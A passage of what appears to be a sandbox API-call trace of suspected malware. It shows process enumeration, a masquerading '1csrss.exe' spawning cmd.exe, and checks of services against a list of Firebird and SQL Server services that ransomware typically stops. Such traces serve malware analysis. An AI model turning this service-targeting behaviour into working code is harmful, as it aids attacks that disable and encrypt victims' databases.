lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.110] lstrlenW (lpString="wininit.exe") returned 11 [0277.110] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.111] lstrlenW (lpString="csrss.exe") returned 9 [0277.111] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.111] lstrlenW (lpString="winlogon.exe") returned 12 [0277.111] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.112] lstrlenW (lpString="services.exe") returned 12 [0277.112] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.113] lstrlenW (lpString="lsass.exe") returned 9 [0277.113] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0277.113] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0277.113] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0277.114] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0277.114] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.115] lstrlenW (lpString="svchost.exe") returned 11 [0277.115] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.115] lstrlenW (lpString="svchost.exe") returned 11 [0277.115] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.116] lstrlenW (lpString="dwm.exe") returned 7 [0277.116] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.116] lstrlenW (lpString="svchost.exe") returned 11 [0277.117] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.117] lstrlenW (lpString="svchost.exe") returned 11 [0277.117] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.118] lstrlenW (lpString="svchost.exe") returned 11 [0277.118] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.118] lstrlenW (lpString="svchost.exe") returned 11 [0277.118] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.119] lstrlenW (lpString="svchost.exe") returned 11 [0277.119] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.120] lstrlenW (lpString="svchost.exe") returned 11 [0277.120] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.120] lstrlenW (lpString="svchost.exe") returned 11 [0277.120] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.121] lstrlenW (lpString="svchost.exe") returned 11 [0277.121] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.122] lstrlenW (lpString="svchost.exe") returned 11 [0277.122] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.122] lstrlenW (lpString="svchost.exe") returned 11 [0277.122] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.123] lstrlenW (lpString="spoolsv.exe") returned 11 [0277.123] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0277.124] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0277.124] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0277.124] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0277.124] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0277.125] lstrlenW (lpString="Memory Compression") returned 18 [0277.125] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.126] lstrlenW (lpString="svchost.exe") returned 11 [0277.126] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.126] lstrlenW (lpString="audiodg.exe") returned 11 [0277.126] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.127] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0277.127] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.290] lstrlenW (lpString="sihost.exe") returned 10 [0277.291] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.291] lstrlenW (lpString="svchost.exe") returned 11 [0277.291] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.292] lstrlenW (lpString="taskhostw.exe") returned 13 [0277.292] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0277.292] lstrlenW (lpString="msoia.exe") returned 9 [0277.292] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.293] lstrlenW (lpString="explorer.exe") returned 12 [0277.293] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0277.294] lstrlenW (lpString="SearchUI.exe") returned 12 [0277.294] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.305] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0277.305] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.305] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0277.305] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0277.306] lstrlenW (lpString="1csrss.exe") returned 10 [0277.306] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.307] lstrlenW (lpString="svchost.exe") returned 11 [0277.307] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0277.307] lstrlenW (lpString="cmd.exe") returned 7 [0277.307] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0277.308] lstrlenW (lpString="conhost.exe") returned 11 [0277.308] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0277.309] lstrlenW (lpString="mode.com") returned 8 [0277.309] Process32NextW (in: hSnapshot=0x420, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0277.309] CloseHandle (hObject=0x420) returned 1 [0277.309] Sleep (dwMilliseconds=0x1f4) [0277.810] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45bb7e0 [0277.811] EnumServicesStatusExW (in: hSCManager=0x45bb7e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0277.811] GetLastError () returned 0xea [0277.811] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7dc300 [0277.812] EnumServicesStatusExW (in: hSCManager=0x45bb7e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7dc300, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7dc300, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0277.812] CloseServiceHandle (hSCObject=0x45bb7e0) returned 1 [0277.813] lstrlenW (lpString="AppXSvc") returned 7 [0277.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0277.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0277.813] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0277.813] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0277.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0277.813] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0277.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0277.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0277.813] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0277.813] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0277.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0277.813] lstrlenW (lpString="Audiosrv") returned 8 [0277.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0277.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0277.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0277.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0277.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0277.813] lstrlenW (lpString="BFE") returned 3 [0277.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0277.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0277.813] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0277.813] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0277.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0277.813] lstrlenW (lpString="BITS") returned 4 [0277.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0277.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0277.813] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0277.813] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0277.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0277.813] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0277.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0277.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0277.814] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0277.814] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0277.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0277.814] lstrlenW (lpString="CDPSvc") returned 6 [0277.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0277.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0277.814] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0277.814] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0277.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0277.814] lstrlenW (lpString="ClickToRunSvc") returned 13 [0277.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0277.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0277.814] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0277.814] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0277.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0277.814] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0277.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0277.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0277.814] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0277.814] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0277.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0277.814] lstrlenW (lpString="CryptSvc") returned 8 [0277.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0277.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0277.814] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0277.814] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0277.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0277.814] lstrlenW (lpString="DcomLaunch") returned 10 [0277.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0277.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0277.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0277.815] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0277.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0277.815] lstrlenW (lpString="DeviceAssociationService") returned 24 [0277.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0277.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0277.815] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0277.815] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0277.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0277.815] lstrlenW (lpString="Dhcp") returned 4 [0277.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0277.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0277.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0277.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0277.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0277.815] lstrlenW (lpString="Dnscache") returned 8 [0277.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0277.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0277.815] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0277.815] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0277.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0277.815] lstrlenW (lpString="DPS") returned 3 [0277.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0277.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0277.815] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0277.815] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0277.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0277.815] lstrlenW (lpString="DusmSvc") returned 7 [0277.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0277.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0277.815] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0277.815] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0277.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0277.815] lstrlenW (lpString="EventLog") returned 8 [0277.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0277.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0277.816] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0277.816] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0277.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0277.816] lstrlenW (lpString="EventSystem") returned 11 [0277.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0277.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0277.816] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0277.816] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0277.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0277.816] lstrlenW (lpString="FontCache") returned 9 [0277.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0277.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0277.816] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0277.816] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0277.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0277.816] lstrlenW (lpString="gpsvc") returned 5 [0277.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0277.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0277.816] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0277.816] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0277.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0277.816] lstrlenW (lpString="iphlpsvc") returned 8 [0277.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0277.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0277.816] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0277.816] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0277.816] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0277.816] lstrlenW (lpString="KeyIso") returned 6 [0277.816] 